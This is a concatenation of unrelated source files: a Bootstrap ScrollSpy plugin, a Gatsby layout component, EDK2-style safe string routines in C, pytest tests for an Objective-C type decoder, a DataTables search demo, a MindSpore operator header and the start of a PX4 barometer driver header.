this.refresh() this.process() } ScrollSpy.prototype = { constructor: ScrollSpy , refresh: function () { this.targets = this.$body .find(this.selector) .map(function () { var href = $(this).attr('href') return /^#\w/.test(href) && $(href).length ? href : null }) this.offsets = $.map(this.targets, function (id) { return $(id).position().top }) } , process: function () { var scrollTop = this.$scrollElement.scrollTop() + this.options.offset , offsets = this.offsets , targets = this.targets , activeTarget = this.activeTarget , i for (i = offsets.length; i--;) { activeTarget != targets[i] && scrollTop >= offsets[i] && (!offsets[i + 1] || scrollTop <= offsets[i + 1]) && this.activate( targets[i] ) } } , activate: function (target) { var active this.activeTarget = target this.$body .find(this.selector).parent('.active') .removeClass('active') active = this.$body .find(this.selector + '[href="' + target + '"]') .parent('li') .addClass('active') if ( active.parent('.dropdown-menu') ) { active.closest('li.dropdown').addClass('active') } } } /* SCROLLSPY PLUGIN DEFINITION * =========================== */ $.fn.scrollspy = function ( option ) { return this.each(function () { var $this = $(this) , data = $this.data('scrollspy') , options = typeof option == 'object' && option if (!data) $this.data('scrollspy', (data = new ScrollSpy(this, options))) if (typeof option == 'string') data[option]() }) } $.fn.scrollspy.Constructor = ScrollSpy $.fn.scrollspy.defaults = { offset: 10 } /* SCROLLSPY DATA-API * ================== */ $(function () { $('[data-spy="scroll"]').each(function () { var $spy = $(this) $spy.scrollspy($spy.data()) }) }) }( window.jQuery );
/** * Layout component that queries for data * with Gatsby's StaticQuery component * * See: https://www.gatsbyjs.org/docs/static-query/ */ import React from "react" import PropTypes from "prop-types" import { StaticQuery, graphql } from "gatsby" import styled from "@emotion/styled" import Header from "./header" import "./layout.css" const Content = styled.div` margin: 0 auto; max-width: 860px; padding: 0 1.0875rem 1rem; padding-top: 0; ` const Footer = styled.footer` display: flex; justify-content: center; ` const Layout = ({ children }) => ( <StaticQuery query={graphql` query SiteTitleQuery { site { siteMetadata { title } } } `} render={data => ( <> <Header siteTitle={data.site.siteMetadata.title} /> <Content> <main>{children}</main> <Footer>© {new Date().getFullYear()}, WALLi</Footer> </Content> </> )} /> ) Layout.propTypes = { children: PropTypes.node.isRequired, } export default Layout
#include <CrtLibSupport.h> #define ASCII_RSIZE_MAX 1000000ul #define RSIZE_MAX (ASCII_RSIZE_MAX<<1ul) #define SAFE_STRING_CONSTRAINT_CHECK(Expression, Status) \ do { \ ASSERT (Expression); \ if (!(Expression)) { \ return Status; \ } \ } while (FALSE) /** Returns if 2 memory blocks are overlapped. @param Base1 Base address of 1st memory block. @param Size1 Size of 1st memory block. @param Base2 Base address of 2nd memory block. @param Size2 Size of 2nd memory block. @retval TRUE 2 memory blocks are overlapped. @retval FALSE 2 memory blocks are not overlapped. **/ BOOLEAN InternalSafeStringIsOverlap ( IN VOID *Base1, IN UINTN Size1, IN VOID *Base2, IN UINTN Size2 ) { if ((((UINTN)Base1 >= (UINTN)Base2) && ((UINTN)Base1 < (UINTN)Base2 + Size2)) || (((UINTN)Base2 >= (UINTN)Base1) && ((UINTN)Base2 < (UINTN)Base1 + Size1))) { return TRUE; } return FALSE; } /** Returns if 2 Unicode strings are not overlapped. @param Str1 Start address of 1st Unicode string. @param Size1 The number of char in 1st Unicode string, including terminating null char. @param Str2 Start address of 2nd Unicode string. @param Size2 The number of char in 2nd Unicode string, including terminating null char. @retval TRUE 2 Unicode strings are NOT overlapped. @retval FALSE 2 Unicode strings are overlapped. **/ BOOLEAN InternalSafeStringNoStrOverlap ( IN CHAR16 *Str1, IN UINTN Size1, IN CHAR16 *Str2, IN UINTN Size2 ) { return !InternalSafeStringIsOverlap (Str1, Size1 * sizeof(CHAR16), Str2, Size2 * sizeof(CHAR16)); } /** Returns if 2 Ascii strings are not overlapped. @param Str1 Start address of 1st Ascii string. @param Size1 The number of char in 1st Ascii string, including terminating null char. @param Str2 Start address of 2nd Ascii string. @param Size2 The number of char in 2nd Ascii string, including terminating null char. @retval TRUE 2 Ascii strings are NOT overlapped. @retval FALSE 2 Ascii strings are overlapped. **/ BOOLEAN InternalSafeStringNoAsciiStrOverlap ( IN CHAR8 *Str1, IN UINTN Size1, IN CHAR8 *Str2, IN UINTN Size2 ) { return !InternalSafeStringIsOverlap (Str1, Size1, Str2, Size2); } /** Returns the length of a Null-terminated Ascii string. This function is similar as strlen_s defined in C11. @param String A pointer to a Null-terminated Ascii string. @param MaxSize The maximum number of Destination Ascii char, including terminating null char. @retval 0 If String is NULL. @retval MaxSize If there is no null character in the first MaxSize characters of String. @return The number of characters that percede the terminating null character. **/ UINTN AsciiStrnLenS ( IN CONST CHAR8 *String, IN UINTN MaxSize ) { UINTN Length; // // If String is a null pointer or MaxSize is 0, then the AsciiStrnLenS function returns zero. // if ((String == NULL) || (MaxSize == 0)) { return 0; } // // Otherwise, the AsciiStrnLenS function returns the number of characters that precede the // terminating null character. If there is no null character in the first MaxSize characters of // String then AsciiStrnLenS returns MaxSize. At most the first MaxSize characters of String shall // be accessed by AsciiStrnLenS. // Length = 0; while (String[Length] != 0) { if (Length >= MaxSize - 1) { return MaxSize; } Length++; } return Length; } /** Returns the size of a Null-terminated Ascii string in bytes, including the Null terminator. This function returns the size of the Null-terminated Ascii string specified by String in bytes, including the Null terminator. @param String A pointer to a Null-terminated Ascii string. @param MaxSize The maximum number of Destination Ascii char, including the Null terminator. @retval 0 If String is NULL. @retval (sizeof (CHAR8) * (MaxSize + 1)) If there is no Null terminator in the first MaxSize characters of String. @return The size of the Null-terminated Ascii string in bytes, including the Null terminator. **/ UINTN AsciiStrnSizeS ( IN CONST CHAR8 *String, IN UINTN MaxSize ) { // // If String is a null pointer, then the AsciiStrnSizeS function returns // zero. // if (String == NULL) { return 0; } // // Otherwise, the AsciiStrnSizeS function returns the size of the // Null-terminated Ascii string in bytes, including the Null terminator. If // there is no Null terminator in the first MaxSize characters of String, // then AsciiStrnSizeS returns (sizeof (CHAR8) * (MaxSize + 1)) to keep a // consistent map with the AsciiStrnLenS function. // return (AsciiStrnLenS (String, MaxSize) + 1) * sizeof (*String); } /** Copies the string pointed to by Source (including the terminating null char) to the array pointed to by Destination. This function is similar as strcpy_s defined in C11. If an error would be returned, then the function will also ASSERT(). If an error is returned, then the Destination is unmodified. @param Destination A pointer to a Null-terminated Ascii string. @param DestMax The maximum number of Destination Ascii char, including terminating null char. @param Source A pointer to a Null-terminated Ascii string. @retval RETURN_SUCCESS String is copied. @retval RETURN_BUFFER_TOO_SMALL If DestMax is NOT greater than StrLen(Source). @retval RETURN_INVALID_PARAMETER If Destination is NULL. If Source is NULL. If PcdMaximumAsciiStringLength is not zero, and DestMax is greater than PcdMaximumAsciiStringLength. If DestMax is 0. @retval RETURN_ACCESS_DENIED If Source and Destination overlap. **/ RETURN_STATUS AsciiStrCpyS ( OUT CHAR8 *Destination, IN UINTN DestMax, IN CONST CHAR8 *Source ) { UINTN SourceLen; // // 1. Neither Destination nor Source shall be a null pointer. // SAFE_STRING_CONSTRAINT_CHECK ((Destination != NULL), RETURN_INVALID_PARAMETER); SAFE_STRING_CONSTRAINT_CHECK ((Source != NULL), RETURN_INVALID_PARAMETER); // // 2. DestMax shall not be greater than ASCII_RSIZE_MAX. // if (ASCII_RSIZE_MAX != 0) { SAFE_STRING_CONSTRAINT_CHECK ((DestMax <= ASCII_RSIZE_MAX), RETURN_INVALID_PARAMETER); } // // 3. DestMax shall not equal zero. // SAFE_STRING_CONSTRAINT_CHECK ((DestMax != 0), RETURN_INVALID_PARAMETER); // // 4. DestMax shall be greater than AsciiStrnLenS(Source, DestMax). // SourceLen = AsciiStrnLenS (Source, DestMax); SAFE_STRING_CONSTRAINT_CHECK ((DestMax > SourceLen), RETURN_BUFFER_TOO_SMALL); // // 5. Copying shall not take place between objects that overlap. // SAFE_STRING_CONSTRAINT_CHECK (InternalSafeStringNoAsciiStrOverlap (Destination, DestMax, (CHAR8 *)Source, SourceLen + 1), RETURN_ACCESS_DENIED); // // The AsciiStrCpyS function copies the string pointed to by Source (including the terminating // null character) into the array pointed to by Destination. // while (*Source != 0) { *(Destination++) = *(Source++); } *Destination = 0; return RETURN_SUCCESS; } /** Copies not more than Length successive char from the string pointed to by Source to the array pointed to by Destination. If no null char is copied from Source, then Destination[Length] is always set to null. This function is similar as strncpy_s defined in C11. If an error would be returned, then the function will also ASSERT(). If an error is returned, then the Destination is unmodified. @param Destination A pointer to a Null-terminated Ascii string. @param DestMax The maximum number of Destination Ascii char, including terminating null char. @param Source A pointer to a Null-terminated Ascii string. @param Length The maximum number of Ascii characters to copy. @retval RETURN_SUCCESS String is copied. @retval RETURN_BUFFER_TOO_SMALL If DestMax is NOT greater than MIN(StrLen(Source), Length). @retval RETURN_INVALID_PARAMETER If Destination is NULL. If Source is NULL. If PcdMaximumAsciiStringLength is not zero, and DestMax is greater than PcdMaximumAsciiStringLength. If DestMax is 0. @retval RETURN_ACCESS_DENIED If Source and Destination overlap. **/ RETURN_STATUS AsciiStrnCpyS ( OUT CHAR8 *Destination, IN UINTN DestMax, IN CONST CHAR8 *Source, IN UINTN Length ) { UINTN SourceLen; // // 1. Neither Destination nor Source shall be a null pointer. // SAFE_STRING_CONSTRAINT_CHECK ((Destination != NULL), RETURN_INVALID_PARAMETER); SAFE_STRING_CONSTRAINT_CHECK ((Source != NULL), RETURN_INVALID_PARAMETER); // // 2. Neither DestMax nor Length shall be greater than ASCII_RSIZE_MAX // if (ASCII_RSIZE_MAX != 0) { SAFE_STRING_CONSTRAINT_CHECK ((DestMax <= ASCII_RSIZE_MAX), RETURN_INVALID_PARAMETER); SAFE_STRING_CONSTRAINT_CHECK ((Length <= ASCII_RSIZE_MAX), RETURN_INVALID_PARAMETER); } // // 3. DestMax shall not equal zero. // SAFE_STRING_CONSTRAINT_CHECK ((DestMax != 0), RETURN_INVALID_PARAMETER); // // 4. If Length is not less than DestMax, then DestMax shall be greater than AsciiStrnLenS(Source, DestMax). // SourceLen = AsciiStrnLenS (Source, MIN (DestMax, Length)); if (Length >= DestMax) { SAFE_STRING_CONSTRAINT_CHECK ((DestMax > SourceLen), RETURN_BUFFER_TOO_SMALL); } // // 5. Copying shall not take place between objects that overlap. // if (SourceLen > Length) { SourceLen = Length; } SAFE_STRING_CONSTRAINT_CHECK (InternalSafeStringNoAsciiStrOverlap (Destination, DestMax, (CHAR8 *)Source, SourceLen + 1), RETURN_ACCESS_DENIED); // // The AsciiStrnCpyS function copies not more than Length successive characters (characters that // follow a null character are not copied) from the array pointed to by Source to the array // pointed to by Destination. If no null character was copied from Source, then Destination[Length] is set to a null // character. // while ((SourceLen > 0) && (*Source != 0)) { *(Destination++) = *(Source++); SourceLen--; } *Destination = 0; return RETURN_SUCCESS; } /** Appends a copy of the string pointed to by Source (including the terminating null char) to the end of the string pointed to by Destination. This function is similar as strcat_s defined in C11. If an error would be returned, then the function will also ASSERT(). If an error is returned, then the Destination is unmodified. @param Destination A pointer to a Null-terminated Ascii string. @param DestMax The maximum number of Destination Ascii char, including terminating null char. @param Source A pointer to a Null-terminated Ascii string. @retval RETURN_SUCCESS String is appended. @retval RETURN_BAD_BUFFER_SIZE If DestMax is NOT greater than StrLen(Destination). @retval RETURN_BUFFER_TOO_SMALL If (DestMax - StrLen(Destination)) is NOT greater than StrLen(Source). @retval RETURN_INVALID_PARAMETER If Destination is NULL. If Source is NULL. If PcdMaximumAsciiStringLength is not zero, and DestMax is greater than PcdMaximumAsciiStringLength. If DestMax is 0. @retval RETURN_ACCESS_DENIED If Source and Destination overlap. **/ RETURN_STATUS AsciiStrCatS ( IN OUT CHAR8 *Destination, IN UINTN DestMax, IN CONST CHAR8 *Source ) { UINTN DestLen; UINTN CopyLen; UINTN SourceLen; // // Let CopyLen denote the value DestMax - AsciiStrnLenS(Destination, DestMax) upon entry to AsciiStrCatS. // DestLen = AsciiStrnLenS (Destination, DestMax); CopyLen = DestMax - DestLen; // // 1. Neither Destination nor Source shall be a null pointer. // SAFE_STRING_CONSTRAINT_CHECK ((Destination != NULL), RETURN_INVALID_PARAMETER); SAFE_STRING_CONSTRAINT_CHECK ((Source != NULL), RETURN_INVALID_PARAMETER); // // 2. DestMax shall not be greater than ASCII_RSIZE_MAX. // if (ASCII_RSIZE_MAX != 0) { SAFE_STRING_CONSTRAINT_CHECK ((DestMax <= ASCII_RSIZE_MAX), RETURN_INVALID_PARAMETER); } // // 3. DestMax shall not equal zero. // SAFE_STRING_CONSTRAINT_CHECK ((DestMax != 0), RETURN_INVALID_PARAMETER); // // 4. CopyLen shall not equal zero. // SAFE_STRING_CONSTRAINT_CHECK ((CopyLen != 0), RETURN_BAD_BUFFER_SIZE); // // 5. CopyLen shall be greater than AsciiStrnLenS(Source, CopyLen). // SourceLen = AsciiStrnLenS (Source, CopyLen); SAFE_STRING_CONSTRAINT_CHECK ((CopyLen > SourceLen), RETURN_BUFFER_TOO_SMALL); // // 6. Copying shall not take place between objects that overlap. // SAFE_STRING_CONSTRAINT_CHECK (InternalSafeStringNoAsciiStrOverlap (Destination, DestMax, (CHAR8 *)Source, SourceLen + 1), RETURN_ACCESS_DENIED); // // The AsciiStrCatS function appends a copy of the string pointed to by Source (including the // terminating null character) to the end of the string pointed to by Destination. The initial character // from Source overwrites the null character at the end of Destination. // Destination = Destination + DestLen; while (*Source != 0) { *(Destination++) = *(Source++); } *Destination = 0; return RETURN_SUCCESS; } /** Appends not more than Length successive char from the string pointed to by Source to the end of the string pointed to by Destination. If no null char is copied from Source, then Destination[StrLen(Destination) + Length] is always set to null. This function is similar as strncat_s defined in C11. If an error would be returned, then the function will also ASSERT(). If an error is returned, then the Destination is unmodified. @param Destination A pointer to a Null-terminated Ascii string. @param DestMax The maximum number of Destination Ascii char, including terminating null char. @param Source A pointer to a Null-terminated Ascii string. @param Length The maximum number of Ascii characters to copy. @retval RETURN_SUCCESS String is appended. @retval RETURN_BAD_BUFFER_SIZE If DestMax is NOT greater than StrLen(Destination). @retval RETURN_BUFFER_TOO_SMALL If (DestMax - StrLen(Destination)) is NOT greater than MIN(StrLen(Source), Length). @retval RETURN_INVALID_PARAMETER If Destination is NULL. If Source is NULL. If PcdMaximumAsciiStringLength is not zero, and DestMax is greater than PcdMaximumAsciiStringLength. If DestMax is 0. @retval RETURN_ACCESS_DENIED If Source and Destination overlap. **/ RETURN_STATUS AsciiStrnCatS ( IN OUT CHAR8 *Destination, IN UINTN DestMax, IN CONST CHAR8 *Source, IN UINTN Length ) { UINTN DestLen; UINTN CopyLen; UINTN SourceLen; // // Let CopyLen denote the value DestMax - AsciiStrnLenS(Destination, DestMax) upon entry to AsciiStrnCatS. // DestLen = AsciiStrnLenS (Destination, DestMax); CopyLen = DestMax - DestLen; // // 1. Neither Destination nor Source shall be a null pointer. // SAFE_STRING_CONSTRAINT_CHECK ((Destination != NULL), RETURN_INVALID_PARAMETER); SAFE_STRING_CONSTRAINT_CHECK ((Source != NULL), RETURN_INVALID_PARAMETER); // // 2. Neither DestMax nor Length shall be greater than ASCII_RSIZE_MAX. // if (ASCII_RSIZE_MAX != 0) { SAFE_STRING_CONSTRAINT_CHECK ((DestMax <= ASCII_RSIZE_MAX), RETURN_INVALID_PARAMETER); SAFE_STRING_CONSTRAINT_CHECK ((Length <= ASCII_RSIZE_MAX), RETURN_INVALID_PARAMETER); } // // 3. DestMax shall not equal zero. // SAFE_STRING_CONSTRAINT_CHECK ((DestMax != 0), RETURN_INVALID_PARAMETER); // // 4. CopyLen shall not equal zero. // SAFE_STRING_CONSTRAINT_CHECK ((CopyLen != 0), RETURN_BAD_BUFFER_SIZE); // // 5. If Length is not less than CopyLen, then CopyLen shall be greater than AsciiStrnLenS(Source, CopyLen). // SourceLen = AsciiStrnLenS (Source, MIN (CopyLen, Length)); if (Length >= CopyLen) { SAFE_STRING_CONSTRAINT_CHECK ((CopyLen > SourceLen), RETURN_BUFFER_TOO_SMALL); } // // 6. Copying shall not take place between objects that overlap. // if (SourceLen > Length) { SourceLen = Length; } SAFE_STRING_CONSTRAINT_CHECK (InternalSafeStringNoAsciiStrOverlap (Destination, DestMax, (CHAR8 *)Source, SourceLen + 1), RETURN_ACCESS_DENIED); // // The AsciiStrnCatS function appends not more than Length successive characters (characters // that follow a null character are not copied) from the array pointed to by Source to the end of // the string pointed to by Destination. The initial character from Source overwrites the null character at // the end of Destination. If no null character was copied from Source, then Destination[DestMax-CopyLen+Length] is set to // a null character. // Destination = Destination + DestLen; while ((SourceLen > 0) && (*Source != 0)) { *(Destination++) = *(Source++); SourceLen--; } *Destination = 0; return RETURN_SUCCESS; } CHAR8 * AsciiStrCat(CHAR8 *Destination, const CHAR8 *Source) { UINTN dest_len = strlena((CHAR8 *)Destination); UINTN i; for (i = 0; Source[i] != '\0'; i++) Destination[dest_len + i] = Source[i]; Destination[dest_len + i] = '\0'; return Destination; } CHAR8 * AsciiStrCpy(CHAR8 *Destination, const CHAR8 *Source) { UINTN i; for (i=0; Source[i] != '\0'; i++) Destination[i] = Source[i]; Destination[i] = '\0'; return Destination; } CHAR8 * AsciiStrnCpy(CHAR8 *Destination, const CHAR8 *Source, UINTN count) { UINTN i; for (i=0; i < count && Source[i] != '\0'; i++) Destination[i] = Source[i]; for ( ; i < count; i++) Destination[i] = '\0'; return Destination; } CHAR8 * AsciiStpCpy(CHAR8 *Destination, CONST CHAR8 *Source) { size_t len = AsciiStrLen (Source); CopyMem (Destination, Source, len + 1); return Destination + len; } CHAR8 * ScanMem8(const CHAR8 *str, UINTN count, CHAR8 ch) { UINTN i; for (i = 0; i < count; i++) { if (str[i] == ch) return (CHAR8 *)str + i; } return NULL; } UINT32 WriteUnaligned32(UINT32 *Buffer, UINT32 Value) { *Buffer = Value; return Value; } UINTN AsciiStrSize(const CHAR8 *string) { return strlena(string) + 1; } int strcmp (const char *str1, const char *str2) { return strcmpa((CHAR8 *)str1,(CHAR8 *)str2); } inline static char toupper (char c) { return ((c >= 'a' && c <= 'z') ? c - ('a' - 'A') : c); } /* Based on AsciiStriCmp() in edk2 MdePkg/Library/BaseLib/String.c */ int strcasecmp (const char *str1, const char *str2) { char c1, c2; c1 = toupper (*str1); c2 = toupper (*str2); while ((*str1 != '\0') && (c1 == c2)) { str1++; str2++; c1 = toupper (*str1); c2 = toupper (*str2); } return c1 - c2; } /* Based on AsciiStrDecimalToUintnS() in edk2 * MdePkg/Library/BaseLib/SafeString.c */ UINTN AsciiStrDecimalToUintn(const CHAR8 *String) { UINTN Result; if (String == NULL) return 0; /* Ignore the pad spaces (space or tab) */ while ((*String == ' ') || (*String == '\t')) { String++; } /* Ignore leading Zeros after the spaces */ while (*String == '0') { String++; } Result = 0; while (*String >= '0' && *String <= '9') { Result = Result * 10 + (*String - '0'); String++; } return Result; }
import pytest from objc_types_decoder.decode import decode @pytest.mark.parametrize('encoded, decoded', [ ('c', 'char'), ('i', 'int'), ('s', 'short'), ('l', 'long'), ('q', 'long long'), ('C', 'unsigned char'), ('I', 'unsigned int'), ('S', 'unsigned short'), ('L', 'unsigned long'), ('Q', 'unsigned long long'), ('f', 'float'), ('d', 'double'), ('B', 'BOOL'), ('v', 'void'), ('*', 'char *'), ('@', 'id'), ('#', 'Class'), (':', 'SEL'), ]) def test_decoding_simple_types(encoded, decoded): assert decode(encoded) == decoded def test_decoding_block(): assert decode('@?') == 'id /* block */' @pytest.mark.parametrize('encoded, decoded', [ ('{example=@*i}', 'struct example { id x0; char * x1; int x2; }'), ('{NSObject=#}', 'struct NSObject { Class x0; }'), ('{example=}', 'struct example { }'), ('{example}', 'struct example'), ('{?=}', 'struct { }'), ('{?=i}', 'struct { int x0; }'), ('^{tmp=I[2:]b16b16*^{__CFString}}', 'struct tmp { unsigned int x0; SEL x1[2]; int x2 : 16; int x3 : 16; char * x4; struct __CFString * x5; } *'), ('^{tmp=I[2:]I}', 'struct tmp { unsigned int x0; SEL x1[2]; unsigned int x2; } *'), ('{bStruct={aStruct=iq@}{aStruct=iq@}}', 'struct bStruct { struct aStruct { int x0; long long x1; id x2; } x0;' ' struct aStruct { int x0; long long x1; id x2; } x1; }'), ]) def test_decoding_struct(encoded, decoded): assert decode(encoded) == decoded @pytest.mark.parametrize('encoded, decoded', [ ('^{example=@*i}', 'struct example { id x0; char * x1; int x2; } *'), ('^jf', 'float complex *'), ]) def test_decoding_pointer(encoded, decoded): assert decode(encoded) == decoded @pytest.mark.parametrize('encoded, decoded', [ ('jd', 'double complex'), ]) def test_decoding_complex(encoded, decoded): assert decode(encoded) == decoded @pytest.mark.parametrize('encoded, decoded', [ ('b16', 'int x : 16'), ]) def test_decoding_bitfield(encoded, decoded): assert decode(encoded) == decoded @pytest.mark.parametrize('encoded, decoded', [ ('[12^f]', 'float * x[12]'), ('[4]', 'void * x[4]'), ]) def test_decoding_array(encoded, decoded): assert decode(encoded) == decoded @pytest.mark.parametrize('encoded, decoded', [ ('(example=^v*i)', 'union example { void * x0; char * x1; int x2; }'), ('(NSObject=#)', 'union NSObject { Class x0; }'), ('(example=)', 'union example { }'), ('(example)', 'union example'), ('(?=)', 'union { }'), ('(?=i)', 'union { int x0; }'), ('^(tmp=I[2:]b16b16*^(Data))', 'union tmp { unsigned int x0; SEL x1[2]; int x2 : 16; int x3 : 16; char * x4; union Data * x5; } *'), ('^(tmp=I[2:]I)', 'union tmp { unsigned int x0; SEL x1[2]; unsigned int x2; } *'), ('(bStruct={aStruct=iq@}(aStruct=iq@))', 'union bStruct { struct aStruct { int x0; long long x1; id x2; } x0;' ' union aStruct { int x0; long long x1; id x2; } x1; }'), ]) def test_decoding_union(encoded, decoded): assert decode(encoded) == decoded
/******/ (() => { // webpackBootstrap /******/ "use strict"; var __webpack_exports__ = {}; /*!*******************************************************************************!*\ !*** ../demo1/src/js/pages/crud/datatables/search-options/advanced-search.js ***! \*******************************************************************************/ var KTDatatablesSearchOptionsAdvancedSearch = function() { $.fn.dataTable.Api.register('column().title()', function() { return $(this.header()).text().trim(); }); var initTable1 = function() { // begin first table var table = $('#kt_datatable').DataTable({ responsive: true, // Pagination settings dom: `<'row'<'col-sm-12'tr>> <'row'<'col-sm-12 col-md-5'i><'col-sm-12 col-md-7 dataTables_pager'lp>>`, // read more: https://datatables.net/examples/basic_init/dom.html lengthMenu: [5, 10, 25, 50], pageLength: 10, language: { 'lengthMenu': 'Display _MENU_', }, searchDelay: 500, processing: true, serverSide: true, ajax: { url: HOST_URL + '/api//datatables/demos/server.php', type: 'POST', data: { // parameters for custom backend script demo columnsDef: [ 'RecordID', 'OrderID', 'Country', 'ShipCity', 'CompanyAgent', 'ShipDate', 'Status', 'Type', 'Actions',], }, }, columns: [ {data: 'RecordID'}, {data: 'OrderID'}, {data: 'Country'}, {data: 'ShipCity'}, {data: 'CompanyAgent'}, {data: 'ShipDate'}, {data: 'Status'}, {data: 'Type'}, {data: 'Actions', responsivePriority: -1}, ], initComplete: function() { this.api().columns().every(function() { var column = this; switch (column.title()) { case 'Country': column.data().unique().sort().each(function(d, j) { $('.datatable-input[data-col-index="2"]').append('<option value="' + d + '">' + d + '</option>'); }); break; case 'Status': var status = { 1: {'title': 'Pending', 'class': 'label-light-primary'}, 2: {'title': 'Delivered', 'class': ' label-light-danger'}, 3: {'title': 'Canceled', 'class': ' label-light-primary'}, 4: {'title': 'Success', 'class': ' label-light-success'}, 5: {'title': 'Info', 'class': ' label-light-info'}, 6: {'title': 'Danger', 'class': ' label-light-danger'}, 7: {'title': 'Warning', 'class': ' label-light-warning'}, }; column.data().unique().sort().each(function(d, j) { $('.datatable-input[data-col-index="6"]').append('<option value="' + d + '">' + status[d].title + '</option>'); }); break; case 'Type': var status = { 1: {'title': 'Online', 'state': 'danger'}, 2: {'title': 'Retail', 'state': 'primary'}, 3: {'title': 'Direct', 'state': 'success'}, }; column.data().unique().sort().each(function(d, j) { $('.datatable-input[data-col-index="7"]').append('<option value="' + d + '">' + status[d].title + '</option>'); }); break; } }); }, columnDefs: [ { targets: -1, title: 'Actions', orderable: false, render: function(data, type, full, meta) { return '\ <div class="dropdown dropdown-inline">\ <a href="javascript:;" class="btn btn-sm btn-clean btn-icon" data-toggle="dropdown">\ <i class="la la-cog"></i>\ </a>\ <div class="dropdown-menu dropdown-menu-sm dropdown-menu-right">\ <ul class="nav nav-hoverable flex-column">\ <li class="nav-item"><a class="nav-link" href="#"><i class="nav-icon la la-edit"></i><span class="nav-text">Edit Details</span></a></li>\ <li class="nav-item"><a class="nav-link" href="#"><i class="nav-icon la la-leaf"></i><span class="nav-text">Update Status</span></a></li>\ <li class="nav-item"><a class="nav-link" href="#"><i class="nav-icon la la-print"></i><span class="nav-text">Print</span></a></li>\ </ul>\ </div>\ </div>\ <a href="javascript:;" class="btn btn-sm btn-clean btn-icon" title="Edit details">\ <i class="la la-edit"></i>\ </a>\ <a href="javascript:;" class="btn btn-sm btn-clean btn-icon" title="Delete">\ <i class="la la-trash"></i>\ </a>\ '; }, }, { targets: 6, render: function(data, type, full, meta) { var status = { 1: {'title': 'Pending', 'class': 'label-light-primary'}, 2: {'title': 'Delivered', 'class': ' label-light-danger'}, 3: {'title': 'Canceled', 'class': ' label-light-primary'}, 4: {'title': 'Success', 'class': ' label-light-success'}, 5: {'title': 'Info', 'class': ' label-light-info'}, 6: {'title': 'Danger', 'class': ' label-light-danger'}, 7: {'title': 'Warning', 'class': ' label-light-warning'}, }; if (typeof status[data] === 'undefined') { return data; } return '<span class="label label-lg font-weight-bold' + status[data].class + ' label-inline">' + status[data].title + '</span>'; }, }, { targets: 7, render: function(data, type, full, meta) { var status = { 1: {'title': 'Online', 'state': 'danger'}, 2: {'title': 'Retail', 'state': 'primary'}, 3: {'title': 'Direct', 'state': 'success'}, }; if (typeof status[data] === 'undefined') { return data; } return '<span class="label label-' + status[data].state + ' label-dot mr-2"></span>' + '<span class="font-weight-bold text-' + status[data].state + '">' + status[data].title + '</span>'; }, }, ], }); var filter = function() { var val = $.fn.dataTable.util.escapeRegex($(this).val()); table.column($(this).data('col-index')).search(val ? val : '', false, false).draw(); }; var asdasd = function(value, index) { var val = $.fn.dataTable.util.escapeRegex(value); table.column(index).search(val ? val : '', false, true); }; $('#kt_search').on('click', function(e) { e.preventDefault(); var params = {}; $('.datatable-input').each(function() { var i = $(this).data('col-index'); if (params[i]) { params[i] += '|' + $(this).val(); } else { params[i] = $(this).val(); } }); $.each(params, function(i, val) { // apply search params to datatable table.column(i).search(val ? val : '', false, false); }); table.table().draw(); }); $('#kt_reset').on('click', function(e) { e.preventDefault(); $('.datatable-input').each(function() { $(this).val(''); table.column($(this).data('col-index')).search('', false, false); }); table.table().draw(); }); $('#kt_datepicker').datepicker({ todayHighlight: true, templates: { leftArrow: '<i class="la la-angle-left"></i>', rightArrow: '<i class="la la-angle-right"></i>', }, }); }; return { //main function to initiate the module init: function() { initTable1(); }, }; }(); jQuery(document).ready(function() { KTDatatablesSearchOptionsAdvancedSearch.init(); }); /******/ })() ; //# sourceMappingURL=advanced-search.js.map
/** * Copyright 2022 Huawei Technologies Co., Ltd * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #ifndef MINDSPORE_CORE_OPS_BESSEL_K0e_H_ #define MINDSPORE_CORE_OPS_BESSEL_K0e_H_ #include <map> #include <memory> #include <string> #include <vector> #include "ops/base_operator.h" #include "mindapi/base/types.h" namespace mindspore { namespace ops { constexpr auto kNameBesselK0e = "BesselK0e"; class MIND_API BesselK0e : public BaseOperator { public: MIND_API_BASE_MEMBER(BesselK0e); BesselK0e() : BaseOperator(kNameBesselK0e) { InitIOName({"x"}, {"y"}); } }; abstract::AbstractBasePtr BesselK0eInfer(const abstract::AnalysisEnginePtr &, const PrimitivePtr &primitive, const std::vector<abstract::AbstractBasePtr> &input_args); } // namespace ops } // namespace mindspore #endif // MINDSPORE_CORE_OPS_Bessel_K0e_H_
/**************************************************************************** * * Copyright (c) 2012-2015 PX4 Development Team. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * 3. Neither the name PX4 nor the names of its contributors may be * used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * ****************************************************************************/ /** * @file drv_baro.h * * Barometric pressure sensor driver interface. */ #ifndef _DRV_BARO_H #define _DRV_BARO_H #include <stdint.h> #include <sys/ioctl.h> #include "drv_sensor.h" #include 